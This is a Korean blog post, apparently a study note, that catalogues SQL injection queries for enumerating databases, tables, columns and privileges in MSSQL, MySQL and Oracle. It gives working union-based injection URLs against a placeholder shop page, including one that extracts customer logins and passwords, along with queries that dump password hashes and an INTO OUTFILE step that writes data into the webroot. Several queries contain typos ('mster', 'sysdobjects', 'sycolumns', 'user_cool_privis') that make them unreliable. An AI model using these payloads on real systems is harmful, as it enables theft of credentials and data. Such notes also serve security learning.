IMLENA

SQL Injection - DB 스키마 열거 본문

WEB

SQL Injection - DB 스키마 열거

IM레나2 2021. 9. 6. 17:20

DB 별로 테이블, 컬럼, 데이터를 추출하는 방법

 

MSSQL

 

DB 목록을 출력하기 위한 구문

select name from mster..sysdatabases;

 

실제 요청

test.com/shop.php?id=10 union select null,name,null,null from master..sysdatabases

 

* 그외

SELECT DB_NAME() : 현재 DB 명

SELECT DB_NAME(2) : DB id가 2인 DB명 반환

 

해당 구문으로 웹에서 사용중인 DB명을 확인 후 테이블명 추출

 

catmall 이라는 DB의 테이블을 출력하기 위한 구문

select name from catmall..sysdobjects where xtype='U';

 

#번외 xtype

xtype=object type

C=CHECK 제약 조건

D=기본값 또는 DEFAULT 제약조건

F=FOREIGN KEY 제약조건

L=로그

S=시스템 테이블

V=뷰

U=사용자테이블

 

실제 요청

test.com/shop.php?id=10 union select null,name,null,null from catmall..sysobjects where xtype='U'--

 

catmall DB의 테이블 명을 확인 한 뒤 테이블의 컬럼명 확인하기

 

컬럼을 확인하기 위한 구문

Select name from catmall..syscolumns where id=(select id from catmall..sysobjects where name= 'customers')

or

Select a.name from catmall..sycolumns a,catmall..sysobjects b where b.name = 'customers' and a.id=b.id;

 

테이블에서 알아낸 컬럼명으로 데이터 추출

test.com/shop.php?id=10 union select null,login,password,null from catmall..customers--

 

 

 

MySQL

 

*사용자 계정

select user();

select current_user();

 

DB에 존재하는 데이터베이스명 출력

mysql> select distinct(db) from mysql.db;
+--------------------+
| db                 |
+--------------------+
| performance_schema |
| sys                |
+--------------------+
2 rows in set (0.01 sec)

mysql> select schema_name from information_schema.schemata;
+--------------------+
| SCHEMA_NAME        |
+--------------------+
| mysql              |
| information_schema |
| performance_schema |
| sys                |
| sakila             |
| world              |
| test               |
| catmall            |
+--------------------+
8 rows in set (0.02 sec)

 

catmall 데이터베이스에서 테이블명 추출

mysql> select table_schema,table_name from information_schema.columns where table_schema = 'catmall';
+--------------+------------+
| TABLE_SCHEMA | TABLE_NAME |
+--------------+------------+
| catmall      | customers  |
| catmall      | customers  |
| catmall      | customers  |
| catmall      | customers  |
| catmall      | customers  |
+--------------+------------+
5 rows in set (0.00 sec)

 

컬럼 명 확인

mysql> select table_schema,table_name,column_name from information_schema.columns where table_schema = 'catmall';
+--------------+------------+-------------+
| TABLE_SCHEMA | TABLE_NAME | COLUMN_NAME |
+--------------+------------+-------------+
| catmall      | customers  | no          |
| catmall      | customers  | id          |
| catmall      | customers  | pw          |
| catmall      | customers  | name        |
| catmall      | customers  | profile     |
+--------------+------------+-------------+
5 rows in set (0.00 sec)

 

# DB사용자에 대한 권한 목록화

mysql> select grantee, privilege_type, is_grantable from information_schema.user_privileges;
+--------------------------------+----------------------------+--------------+
| grantee                        | privilege_type             | is_grantable |
+--------------------------------+----------------------------+--------------+
| 'mysql.infoschema'@'localhost' | SELECT                     | NO           |
| 'mysql.infoschema'@'localhost' | SYSTEM_USER                | NO           |
| 'mysql.session'@'localhost'    | SHUTDOWN                   | NO           |
| 'mysql.session'@'localhost'    | SUPER                      | NO           |
| 'mysql.session'@'localhost'    | BACKUP_ADMIN               | NO           |
| 'mysql.session'@'localhost'    | CLONE_ADMIN                | NO           |
| 'mysql.session'@'localhost'    | CONNECTION_ADMIN           | NO           |
| 'mysql.session'@'localhost'    | PERSIST_RO_VARIABLES_ADMIN | NO           |
| 'mysql.session'@'localhost'    | SESSION_VARIABLES_ADMIN    | NO           |
| 'mysql.session'@'localhost'    | SYSTEM_USER                | NO           |
| 'mysql.session'@'localhost'    | SYSTEM_VARIABLES_ADMIN     | NO           |
| 'mysql.sys'@'localhost'        | USAGE                      | NO           |
| 'mysql.sys'@'localhost'        | SYSTEM_USER                | NO           |
| 'root'@'localhost'             | SELECT                     | YES          |

 

* 기타

select database(); - 현재 데이터 베이스명

select @@datadir; - 데이터 디렉토리 

 

 

ORACLE

 

현재 사용자에 속한 테이블 목록

select table_name from user_tables;

 

현재사용자에 대한 system 권한 획득

select * from user_sys_privs; --show system privileges of the current user;

 

현재사용자에 대한 role 권한 획득

select * from user_role_privs; --show role privileges of the current user;

 

현재 사용자에 대한 table 권한 획득

select * from user_tab_privs;

 

현재사용자에 대한 column

select * from user_cool_privis;

 

모든 가능한 권한의 목록을 얻기위해서는 user_를 all_로 변경하여 사용하면 된다.

 

 

#패스워드 해쉬 확인

 

SQL Server

select password_hash from sys.sql_logins

 

MySQL

mysql> select host, user, authentication_string from user;
+-----------+------------------+------------------------------------------------------------------------+
| host      | user             | authentication_string                                                  |
+-----------+------------------+------------------------------------------------------------------------+
| localhost | mysql.infoschema | $A$005$THISISACOMBINATIONOFINVALIDSALTANDPASSWORDTHATMUSTNEVERBRBEUSED |
| localhost | mysql.session    | $A$005$THISISACOMBINATIONOFINVALIDSALTANDPASSWORDTHATMUSTNEVERBRBEUSED |
| localhost | mysql.sys        | $A$005$THISISACOMBINATIONOFINVALIDSALTANDPASSWORDTHATMUSTNEVERBRBEUSED |
| localhost | root             | $A$005$Q#%.gm>+#S 2%jmQTMwikf8K/gPeJe1aJkZU9VsK3.76B550EeGHL2sqrz/ |
+-----------+------------------+------------------------------------------------------------------------+
4 rows in set (0.00 sec)

 

#번외

MySQL - select 구문의 결과를 파일로 보내기

select table_name from information_schema.tables INTO OUTFILE '/webroot/tables.txt';

 

이후 test.com/tables.txt 로 접근하면 해당 파일에 내용을 확인 할 수 있다.

 

 

*데이터 베이스별 injection 구문 정리*

https://portswigger.net/web-security/sql-injection/cheat-sheet

Comments